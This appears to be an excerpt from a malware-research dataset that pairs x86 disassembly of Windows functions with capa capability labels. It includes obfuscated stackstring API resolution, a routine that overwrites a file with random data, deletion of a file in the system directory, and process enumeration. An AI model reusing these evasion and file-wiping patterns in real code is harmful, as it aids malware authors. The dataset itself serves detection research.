joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004290
Capabilities:
Contain obfuscated stackstrings
Set file attributes

Disassembly:
sub esp, 0x440
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0x28]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x6c
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x38]
push edx
push eax
mov byte [esp + 0x40], 0x6b
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x6e
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0x6c
mov byte [esp + 0x46], 0x33
mov byte [esp + 0x47], 0x32
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x49], 0x64
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x6c
mov byte [esp + 0x4c], 0
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x46
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0
call esi
push eax
call edi
mov ecx, dword [esp + 0x454]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ecx
mov dword [esp + 0x64], eax
call ebp
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000448a
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0x4c], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebp, edx
test ebp, ebp
jle 0x10004468
mov edx, edi
and edx, 0x800003ff
jns 0x1000442c
dec edx
or edx, 0xfffffc00
inc edx
jne 0x1000444d
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x4f], dl
jl 0x10004430
lea edx, [esp + 0x4c]
push 0
push edx
lea eax, [esp + 0x58]
push 0x400
push eax
push ebx
call dword [esp + 0x5c]
inc edi
cmp edi, ebp
jl 0x1000441a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x100138a8]
mov edx, dword [esp + 0x454]
and ecx, 0xffff
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x440
ret
Function at 0x1000e0a0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9e50]
mov dword [ebx], 0x10011178
test eax, eax
jbe 0x1000e0e4
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x210]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9e50]
inc edi
add esi, 4
cmp edi, eax
jb 0x1000e0c4
pop esi
pop ebp
mov ecx, ebx
call fcn.1000f0f0
pop edi
pop ebx
ret

Function at 0x1000e460
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0x128
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x24]
push 0x104
push edx
call eax
lea eax, [esp + 0x24]
push str._syslog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x128
ret
Function at 0x1000e550
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov al, 0x6c
push ebx
mov byte [esp + 0x15], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
mov al, 0x73
mov cl, 0x65
push ebp
mov byte [esp + 0x11], al
mov byte [esp + 0x12], al
push esi
mov byte [esp + 0x19], cl
mov byte [esp + 0x1c], cl
mov byte [esp + 0x14], cl
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x1c]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x30], 0
mov byte [esp + 0x18], 0x45
mov byte [esp + 0x19], 0x78
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x50
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x63
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
call fcn.1000e460
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x47c
call esi
add esp, 4
push 0xf003f
push 0
push 0
call dword [0x10014f1c]
push 0x47c
mov edi, eax
call esi
add esp, 4
push 0x10000
push 0x10015808
push edi
call dword [0x10014f20]
push 0x47c
mov ebp, eax
call esi
add esp, 4
push ebp
call dword [0x10014f24]
push 0x47c
call esi
add esp, 4
push ebp
mov ebp, dword [0x10014f28]
call ebp
push 0x47c
call esi
add esp, 4
push edi
call ebp
push 1
push 0
push 3
call fcn.100035a0
add esp, 0xc
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 1
call fcn.100035a0
add esp, 0xc
push 0
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret

Function at 0x1000e6a0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
push 0x47c
mov dword [esp + 0x14], 0
call esi
add esp, 4
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x47c
mov edi, eax
call esi
push 0x47c
mov dword [esp + 0x1c], 0x128
call esi
add esp, 8
lea eax, [esp + 0x14]
push eax
push edi
call sub.KERNEL32.dll_Process32First
push 0x47c
call esi
mov ebx, dword [esp + 0x144]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
add esp, 4
lea ecx, [esp + 0x38]
push ebx
push ecx
call ebp
test eax, eax
je 0x1000e739
push 0x47c
call esi
add esp, 4
lea edx, [esp + 0x14]
push edx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000e73f
lea eax, [esp + 0x38]
push ebx
push eax
call ebp
test eax, eax
jne 0x1000e714
mov ebx, dword [esp + 0x1c]
jmp 0x1000e743
mov ebx, dword [esp + 0x10]
push 0x47c
call esi
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x47c
call esi
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret
Function at 0x1000f000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x19], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov cl, 0x74
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 8], cl
mov byte [esp + 0xe], cl
lea eax, [esp + 4]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x10011180
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0x76
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x2c]
push esi
mov edi, eax
mov dword [esi + 4], ecx
call fcn.10002b10
push 0
push 0
push 1
push 0
call edi
mov dword [esi + 8], eax
mov eax, esi
pop edi
pop esi
add esp, 0x20
ret 4

Function at 0x10010080
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x30
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov cl, 0x74
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 2], al
mov byte [esp + 5], al
mov byte [esp + 8], al
mov byte [esp + 4], cl
mov byte [esp + 0xa], cl
lea eax, [esp]
push esi
lea ecx, [esp + 0x14]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1c], 0x6b
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], dl
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xf], 0x61
mov byte [esp + 0x12], 0x45
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x15], dl
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
push 0
mov dword [esp + 0x28], edx
mov dl, byte [esp + 0x54]
push 0
push 0
push 0
mov dword [esp + 0x38], ecx
mov byte [esp + 0x3c], dl
call eax
mov ecx, dword [esp + 0x48]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x4c]
lea edx, [esp + 0x24]
push eax
mov eax, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x40]
push edx
push section.N454545
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x48]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x30
ret
Function at 0x401387
Capabilities:
Get user security identifier

Disassembly:
push ebp
lea ebp, [esp - 0x94]
sub esp, 0x114
mov eax, dword [0x4806f0]
xor eax, ebp
mov dword [ebp + 0x90], eax
push ebx
xor ebx, ebx
push esi
mov esi, ecx
cmp edi, ebx
je 0x401437
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x401437
push 0xff
lea eax, [ebp - 0x6f]
push ebx
push eax
mov dword [ebp - 0x74], ebx
mov byte [ebp - 0x70], bl
call fcn.0044f280
add esp, 0xc
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
lea eax, [ebp - 0x78]
push eax
push ebx
push edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x80], 0x100
mov dword [ebp - 0x7c], 8
call esi
cmp dword [ebp - 0x78], ebx
je 0x401432
push dword [ebp - 0x78]
call fcn.0044e966
pop ecx
lea ecx, [ebp - 0x7c]
push ecx
lea ecx, [ebp - 0x80]
push ecx
lea ecx, [ebp - 0x70]
push ecx
lea ecx, [ebp - 0x78]
push ecx
push eax
push edi
push ebx
mov dword [ebp - 0x74], eax
call esi
test eax, eax
jne 0x401432
push dword [ebp - 0x74]
call fcn.0044ea4d
pop ecx
mov dword [ebp - 0x74], ebx
mov eax, dword [ebp - 0x74]
jmp 0x401439
xor eax, eax
mov ecx, dword [ebp + 0x90]
pop esi
xor ecx, ebp
pop ebx
call fcn.0044f6e0
add ebp, 0x94
leave
ret

Function at 0x4014c0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x4806f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov ecx, 0x104
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x110], ecx
test eax, eax
jne 0x401502
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
jmp 0x401513
push ecx
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.0044f7c0
add esp, 0xc
mov ecx, edi
lea edi, [ebp - 0x10c]
call fcn.00401387
mov edi, eax
test edi, edi
je 0x401544
push dword [esi + 0x24]
call fcn.0044ea4d
pop ecx
push 0
mov dword [esi + 0x24], edi
push edi
add esi, 0x10
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
xor eax, eax
inc eax
jmp 0x401546
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0044f6e0
leave
ret 8
Function at 0x40158e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x4806f0]
xor eax, ebp
mov dword [ebp + 0x98], eax
test byte [ebp + 0xb4], 1
mov edx, dword [ebp + 0xb0]
mov eax, dword [ebp + 0xa4]
mov ecx, dword [ebp + 0xa8]
push ebx
push esi
mov esi, dword [ebp + 0xac]
push edi
mov dword [ebp - 0x7c], edx
mov edi, 0x20019
je 0x4015dc
mov edi, 0x20119
jmp 0x4015ea
test byte [ebp + 0xb4], 2
je 0x4015ea
mov edi, 0x20219
lea edx, [ebp - 0x70]
push edx
push edi
xor ebx, ebx
push ebx
push ecx
push eax
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x74], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401659
push 0x103
xor edi, edi
lea eax, [ebp - 0x6b]
push ebx
inc edi
push eax
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x78], 0x104
mov byte [ebp - 0x6c], bl
call fcn.0044f280
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
push esi
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401650
mov ecx, dword [ebp - 0x7c]
lea eax, [ebp - 0x6c]
push eax
call fcn.0042f2d0
mov dword [ebp - 0x74], edi
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x98]
mov eax, dword [ebp - 0x74]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044f6e0
add ebp, 0x9c
leave
ret
Function at 0x4018a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0xb4]
sub esp, 0x134
mov eax, dword [0x4806f0]
xor eax, ebp
mov dword [ebp + 0xb0], eax
mov eax, dword [ebp + 0xc8]
push ebx
mov ebx, dword [ebp + 0xc0]
push esi
mov esi, dword [ebp + 0xc4]
push edi
mov edi, dword [ebp + 0xbc]
push str.SoftwareRealNetworks_
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], eax
call fcn.0042f200
push ebx
lea ecx, [ebp - 0x6c]
call fcn.0042f630
push str.CurrentVersion
lea ecx, [ebp - 0x6c]
call fcn.0042f630
push 0x103
lea eax, [ebp - 0x53]
push 0
push eax
mov dword [ebp - 0x78], 0x104
mov byte [ebp - 0x54], 0
call fcn.0044f280
add esp, 0xc
cmp byte [ebp - 0x65], 0xff
lea eax, [ebp - 0x6c]
jne 0x40192c
mov eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x78]
push ecx
lea ecx, [ebp - 0x54]
push ecx
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x4019a2
cmp dword [ebp - 0x78], eax
jle 0x4019a2
push esi
lea eax, [ebp - 0x54]
push eax
push ebx
lea esi, [ebp - 0x5c]
call fcn.00401858
add esp, 0xc
cmp byte [ebp - 0x55], 0xff
mov eax, esi
jne 0x401961
mov eax, dword [ebp - 0x5c]
push dword [ebp + 0xcc]
push dword [ebp - 0x60]
push 0
push eax
push edi
call fcn.0040158e
add esp, 0x14
mov esi, eax
lea ecx, [ebp - 0x5c]
call fcn.0042f1e0
lea ecx, [ebp - 0x6c]
call fcn.0042f1e0
mov ecx, dword [ebp + 0xb0]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044f6e0
add ebp, 0xb4
leave
ret
push esi
mov edi, 0x4726e8
push edi
push ebx
lea esi, [ebp - 0x80]
call fcn.00401858
push dword [ebp - 0x64]
lea esi, [ebp - 0x74]
push edi
push ebx
call fcn.00401858
add esp, 0x18
cmp byte [eax + 7], 0xff
jne 0x4019ca
mov eax, dword [eax]
push dword [ebp + 0xcc]
push dword [ebp - 0x60]
push 0
push eax
push dword [ebp - 0x58]
call fcn.0040158e
add esp, 0x14
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.0042f1e0
test esi, esi
jne 0x401a4d
push dword [ebp - 0x64]
mov edi, str.12.0
push edi
push ebx
lea esi, [ebp - 0x74]
call fcn.00401858
add esp, 0xc
push eax
lea ecx, [ebp - 0x80]
call fcn.0042f220
mov ecx, esi
call fcn.0042f1e0
push dword [ebp - 0x64]
lea esi, [ebp - 0x74]
push edi
push ebx
call fcn.00401858
add esp, 0xc
cmp byte [eax + 7], 0xff
jne 0x401a2c
mov eax, dword [eax]
push dword [ebp + 0xcc]
push dword [ebp - 0x60]
push 0
push eax
push dword [ebp - 0x58]
call fcn.0040158e
add esp, 0x14
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.0042f1e0
lea ecx, [ebp - 0x80]
jmp 0x40197b
Function at 0x401a55
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0xa8]
sub esp, 0x128
mov eax, dword [0x4806f0]
xor eax, ebp
mov dword [ebp + 0xa4], eax
mov eax, dword [ebp + 0xbc]
push ebx
mov ebx, dword [ebp + 0xb8]
push esi
mov esi, dword [ebp + 0xb4]
push edi
mov edi, dword [ebp + 0xb0]
push str.SoftwareRealNetworks_
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x6c], eax
call fcn.0042f200
push esi
lea ecx, [ebp - 0x68]
call fcn.0042f630
push str.CurrentVersion
lea ecx, [ebp - 0x68]
call fcn.0042f630
push 0x103
lea eax, [ebp - 0x5f]
push 0
push eax
mov dword [ebp - 0x70], 0x104
mov byte [ebp - 0x60], 0
call fcn.0044f280
add esp, 0xc
cmp byte [ebp - 0x61], 0xff
lea eax, [ebp - 0x68]
jne 0x401adb
mov eax, dword [ebp - 0x68]
lea ecx, [ebp - 0x70]
push ecx
lea ecx, [ebp - 0x60]
push ecx
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x401b51
cmp dword [ebp - 0x70], eax
jle 0x401b51
push ebx
lea eax, [ebp - 0x60]
push eax
push esi
lea esi, [ebp - 0x78]
call fcn.00401858
add esp, 0xc
cmp byte [ebp - 0x71], 0xff
mov eax, esi
jne 0x401b10
mov eax, dword [ebp - 0x78]
push dword [ebp + 0xc0]
push dword [ebp - 0x6c]
push 0
push eax
push edi
call fcn.00401674
lea ecx, [ebp - 0x78]
add esp, 0x14
mov esi, eax
call fcn.0042f1e0
lea ecx, [ebp - 0x68]
call fcn.0042f1e0
mov ecx, dword [ebp + 0xa4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044f6e0
add ebp, 0xa8
leave
ret
push ebx
push str.12.0
push esi
lea esi, [ebp - 0x80]
call fcn.00401858
add esp, 0xc
cmp byte [ebp - 0x79], 0xff
mov eax, esi
jne 0x401b6e
mov eax, dword [ebp - 0x80]
push dword [ebp + 0xc0]
push dword [ebp - 0x6c]
push 0
push eax
push edi
call fcn.00401674
lea ecx, [ebp - 0x80]
jmp 0x401b25

Function at 0x401b85
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.0044f280
mov ax, word [ebp + 0xc]
push 0x10
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push esi
push eax
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
call fcn.0044f280
mov ecx, dword [ebp + 8]
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call fcn.0042fbb0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401bf3
mov eax, dword [ebp + 0x10]
cmp eax, esi
je 0x401bee
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
xor eax, eax
inc eax
jmp 0x401bf5
xor eax, eax
pop esi
leave
ret
Function at 0x401bf8
Capabilities:
Get file version info

Disassembly:
push ebp
lea ebp, [esp - 0xac]
sub esp, 0x12c
mov eax, dword [0x4806f0]
xor eax, ebp
mov dword [ebp + 0xa8], eax
mov eax, dword [ebp + 0xb8]
push ebx
push esi
push edi
mov edi, dword [ebp + 0xb4]
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x80]
push eax
xor ebx, ebx
push edi
mov dword [ebp - 0x80], ebx
xor esi, esi
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [ebp - 0x5c], eax
cmp eax, ebx
jbe 0x401d45
push eax
call fcn.0044e966
pop ecx
mov dword [ebp - 0x64], eax
cmp eax, ebx
je 0x401d45
push eax
push dword [ebp - 0x5c]
push dword [ebp - 0x80]
push edi
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
jle 0x401d3c
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x70]
push eax
push str.VarFileInfoTranslation
push dword [ebp - 0x64]
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x70], ebx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x401d3c
push 0xff
lea eax, [ebp - 0x57]
push ebx
push eax
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x60], ebx
mov byte [ebp - 0x58], bl
call fcn.0044f280
mov eax, dword [ebp - 0x70]
movzx ecx, word [eax + 2]
movzx eax, word [eax]
push ecx
push eax
lea eax, [ebp - 0x58]
push str.StringFileInfo_04x_04xProductVersion
push eax
call fcn.0044fbcf
add esp, 0x1c
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x64]
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x401d3c
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x74]
push eax
push str._d._d._d._d
push dword [ebp - 0x68]
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x5c], ebx
call fcn.0044f25a
movzx esi, byte [ebp - 0x6c]
mov eax, dword [ebp - 0x74]
shl eax, 8
or esi, eax
movzx eax, byte [ebp - 0x7c]
shl esi, 8
or esi, eax
mov eax, dword [ebp - 0x5c]
shl esi, 0xc
and eax, 0xfff
add esp, 0x18
or esi, eax
cmp dword [ebp - 0x78], ebx
je 0x401d3c
push dword [ebp - 0x60]
push dword [ebp - 0x68]
push dword [ebp - 0x78]
call fcn.0044f7c0
add esp, 0xc
push dword [ebp - 0x64]
call fcn.0044f1e5
pop ecx
mov ecx, dword [ebp + 0xa8]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044f6e0
add ebp, 0xac
leave
ret